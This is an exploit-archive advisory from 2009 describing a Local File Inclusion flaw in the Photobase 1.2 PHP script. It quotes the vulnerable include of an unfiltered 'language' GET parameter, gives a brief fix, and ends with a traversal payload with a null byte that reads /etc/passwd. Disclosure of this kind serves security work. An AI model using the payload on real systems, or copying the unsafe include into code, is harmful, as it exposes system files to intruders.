Lucene search

K
zdtOsirys1337DAY-ID-4641
HistoryJan 11, 2009 - 12:00 a.m.

Photobase 1.2 (language) Local File Inclusion Vulnerability

2009-01-1100:00:00
Osirys
0day.today
7

Exploit for unknown platform in category web applications

===========================================================
Photobase 1.2 (language) Local File Inclusion Vulnerability
===========================================================



[START]

####################################################################################################################
[0x01] Informations:

Script         : Photobase 1.2
Download       : http://www.monstar.nl/php-bin/count.php3?what=photobase.zip&id=0
Vulnerability  : Local File Inclusion
Author         : Osirys


####################################################################################################################
[0x02] Bug: [Local File Inclusion]
######

Bugged file is: /[path]/include/header.php

[CODE]

<?php
include('include/conf.php');
include('include/functions.php');

if(isset($_GET['language']))
	$language = $_GET['language'];

include('language/'.$language.'.php');

[/CODE]

There is an include of a variable coming from GET --> $language

[!FIX] Filter $language before the include or just set its value with a local file.


[!] EXPLOIT: /[path]/include/header.php?language=[local_file]
                                                 ../../../../../../../../../../etc/passwd%00

####################################################################################################################

[/END]



#  0day.today [2018-04-14]  #